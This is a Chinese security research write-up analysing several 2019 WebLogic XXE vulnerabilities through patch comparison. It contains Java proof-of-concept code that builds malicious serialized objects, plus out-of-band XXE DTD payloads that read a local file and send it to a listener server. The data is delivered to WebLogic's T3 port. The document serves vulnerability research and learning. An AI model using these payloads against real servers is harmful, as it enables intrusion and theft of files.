作者:Longofo@知道創宇404實驗室
時間:2019年4月26日
原文鏈接:https://paper.seebug.org/906/
Oracle發布了4月份的補丁,詳情見鏈接
@xxlegend在《Weblogic CVE-2019-2647等相關XXE漏洞分析》分析了其中的一個XXE漏洞點,並給出了PoC。剛入手java不久,本著學習的目的,自己嘗試分析了其他幾個點的XXE並構造了PoC。下面的分析我盡量描述自己思考以及PoC構造過程,新手真的會踩很多莫名其妙的坑。感謝在復現與分析過程中為我提供幫助的小夥伴@Badcode,沒有他的幫助我可能環境搭起來都會花費一大半時間。
根據JAVA常見XXE寫法與防禦方式(參考https://blog.spoock.com/2018/10/23/java-xxe/),通過對比補丁,發現新補丁以下四處進行了setFeature操作:
setFeature
應該就是對應的四個CVE了,其中ForeignRecoveryContext@xxlegend大佬已經分析過了,這裡就不再分析了,下面主要是分析下其他三個點
ForeignRecoveryContext
WsrmServerPayloadContext修復後的代碼如下:
WsrmServerPayloadContext
package weblogic.wsee.reliability; import ...
public class WsrmServerPayloadContext extends WsrmPayloadContext { public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException { ... }
private EndpointReference readEndpt(ObjectInput var1, int var2) throws IOException, ClassNotFoundException { ...
ByteArrayInputStream var15 = new ByteArrayInputStream(var3);
try { DocumentBuilderFactory var7 = DocumentBuilderFactory.newInstance();
try { String var8 = "http://xml.org/sax/features/external-general-entities"; var7.setFeature(var8, false); var8 = "http://xml.org/sax/features/external-parameter-entities"; var7.setFeature(var8, false); var8 = "http://apache.org/xml/features/nonvalidating/load-external-dtd"; var7.setFeature(var8, false); var7.setXIncludeAware(false); var7.setExpandEntityReferences(false); } catch (Exception var11) { if (verbose) { Verbose.log("Failed to set factory:" + var11); } }
... } }
可以看到進行了setFeature操作防止xxe攻擊,而未打補丁之前是沒有進行setFeature操作的
readExternal在反序列化對象時會被調用,與之對應的writeExternal在序列化對象時會被調用,看下writeExternal的邏輯:
readExternal
writeExternal
var1就是this.formENdpt,注意var5.serialize可以傳入三種類型的對象,var1.getEndptElement()返回的是Element對象,先嘗試新建一個項目構造一下PoC:
var1
this.formENdpt
var5.serialize
var1.getEndptElement()
Element
PoC
結構如下
public class WeblogicXXE1 { public static void main(String[] args) throws IOException { Object instance = getXXEObject(); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe")); out.writeObject(instance); out.flush(); out.close(); } public static class MyEndpointReference extends EndpointReference { @Override public Element getEndptElement() { super.getEndptElement(); Document doc = null; Element element = null; try { DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance(); //從DOM工廠中獲得DOM解析器 DocumentBuilder dbBuilder = dbFactory.newDocumentBuilder(); //創建文檔樹模型對象 doc = dbBuilder.parse("test.xml"); element = doc.getDocumentElement(); } catch (Exception e) { e.printStackTrace(); } return element; } }
public static Object getXXEObject() { EndpointReference fromEndpt = (EndpointReference) new MyEndpointReference();
EndpointReference faultToEndpt = null; WsrmServerPayloadContext wspc = new WsrmServerPayloadContext(); try {
Field f1 = wspc.getClass().getDeclaredField("fromEndpt"); f1.setAccessible(true); f1.set(wspc, fromEndpt);
Field f2 = wspc.getClass().getDeclaredField("faultToEndpt"); f2.setAccessible(true); f2.set(wspc, faultToEndpt); } catch (Exception e) { e.printStackTrace(); } return wspc; } }
test.xml內容如下,my.dtd暫時為空就行,先測試能否接收到請求:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE data SYSTEM "http://127.0.0.1:8000/my.dtd" [ <!ELEMENT data (#PCDATA)> ]> <data>4</data>
運行PoC,生成的反序列化數據xxe,使用十六進位查看器打開:
發現DOCTYPE無法被引入
我嘗試了下面幾種方法:
Document
getEndptElement
EndpointReference
package
modules
wlserver_10.3serverlib
wlserver_10.3serverlibweblogic.jar
WsrmServerPayloadContext.class
weblogic.Jar
構造新的PoC:
public class WeblogicXXE1 { public static void main(String[] args) throws IOException { Object instance = getXXEObject(); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe")); out.writeObject(instance); out.flush(); out.close(); }
public static Object getXXEObject() { EndpointReference fromEndpt = new EndpointReference();
查看下新生成的xxe十六進位:
DOCTYPE被寫入了
測試下,使用T3協議腳本向WebLogic 7001埠發送序列化數據:
漂亮,接收到請求了,接下來就是嘗試下到底能不能讀取到文件了
構造的test.xml如下:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE ANY [ <!ENTITY % file SYSTEM "file:///C:Users/dell/Desktop/test.txt"> <!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/my.dtd"> %dtd; %send; ]> <ANY>xxe</ANY>
my.dtd如下(my.dtd在使用PoC生成反序列化數據的時候先清空,然後,不然在dbBuilder.parse時會報錯無法生成正常的反序列化數據,至於為什麼,只有自己測試下才會明白):
dbBuilder.parse
<!ENTITY % all "<!ENTITY % send SYSTEM ftp://127.0.0.1:2121/%file;>" > %all;
運行PoC生成反序列化數據,測下發現請求都接收不到了...,好吧,查看下十六進位:
%dtd;%send;居然不見了...,可能是因為DOM解析器的原因,my.dtd內容為空,數據沒有被引用。
%dtd;%send;
嘗試debug看下:
可以看到%dtd;%send;確實是被處理掉了
測試下正常的載入外部數據,my.dtd改為如下:
<!ENTITY % all "<!ENTITY % send SYSTEM http://127.0.0.1:8000/gen.xml>" > %all;
gen.xml為:
<?xml version="1.0" encoding="UTF-8"?>
debug看下:
可以看到%dtd;%send;被my.dtd裡面的內容替換了。debug大致看了xml解析過程,中間有一個EntityScanner,會檢測xml中的ENTITY,並且會判斷是否載入了外部資源,如果載入了就外部資源載入進來,後面會將實體引用替換為實體申明的內容。也就是說,我們構造的反序列化數據中的xml數據,已經被解析過一次了,而需要的是沒有被解析過的數據,讓目標去解析。
EntityScanner
所以我嘗試修改了十六進位如下,使得xml修改成沒有被解析的形式:
運行PoC測試下,
居然成功了,一開始以為反序列化生成的xml數據那塊還會進行校驗,不然反序列化不了,直接修改數據是不行的,沒想到直接修改就可以了
與WsrmServerPayloadContext差不多,PoC構造也是新建包然後替換,就不詳細分析了,只說下類修改的地方與PoC構造
新建UnknownMsgHeader類,修改writeExternal
UnknownMsgHeader
PoC如下:
public class WeblogicXXE2 { public static void main(String[] args) throws IOException { Object instance = getXXEObject(); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe")); out.writeObject(instance); out.flush(); out.close(); }
public static Object getXXEObject() { QName qname = new QName("a", "b", "c"); Element xmlHeader = null;
UnknownMsgHeader umh = new UnknownMsgHeader(); try { Field f1 = umh.getClass().getDeclaredField("qname"); f1.setAccessible(true); f1.set(umh, qname);
Field f2 = umh.getClass().getDeclaredField("xmlHeader"); f2.setAccessible(true); f2.set(umh, xmlHeader); } catch (Exception e) { e.printStackTrace(); } return umh; } }
運行PoC測試下(生成的步驟與第一個漏洞點一樣),使用T3協議腳本向WebLogic 7001埠發送序列化數據:
這個類看似需要構造的東西挺多的,readExternal與writeExternal的邏輯也比前兩個複雜些,但是PoC構造也很容易
新建WsrmSequenceContext類,修改
WsrmSequenceContext
public class WeblogicXXE3 { public static void main(String[] args) throws IOException { Object instance = getXXEObject(); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe")); out.writeObject(instance); out.flush(); out.close(); }
public static Object getXXEObject() {
EndpointReference acksTo = new EndpointReference();
WsrmSequenceContext wsc = new WsrmSequenceContext(); try { Field f1 = wsc.getClass().getDeclaredField("acksTo"); f1.setAccessible(true); f1.set(wsc, acksTo); } catch (Exception e) { e.printStackTrace(); } return wsc; } }
好了,分析完成了。第一次分析Java的漏洞,還有很多不足的地方,但是分析的過程中也學到了很多,就算是一個看似很簡單的點,如果不熟悉Java的一特性,會花費較長的時間去折騰。所以,一步一步走吧,不要太急躁,還有很多東西要學。
本文由 Seebug Paper 發布,如需轉載請註明來源。
歡迎關注我和專欄,我將定期搬運技術文章~
也歡迎訪問我們:知道創宇雲安全
推薦閱讀: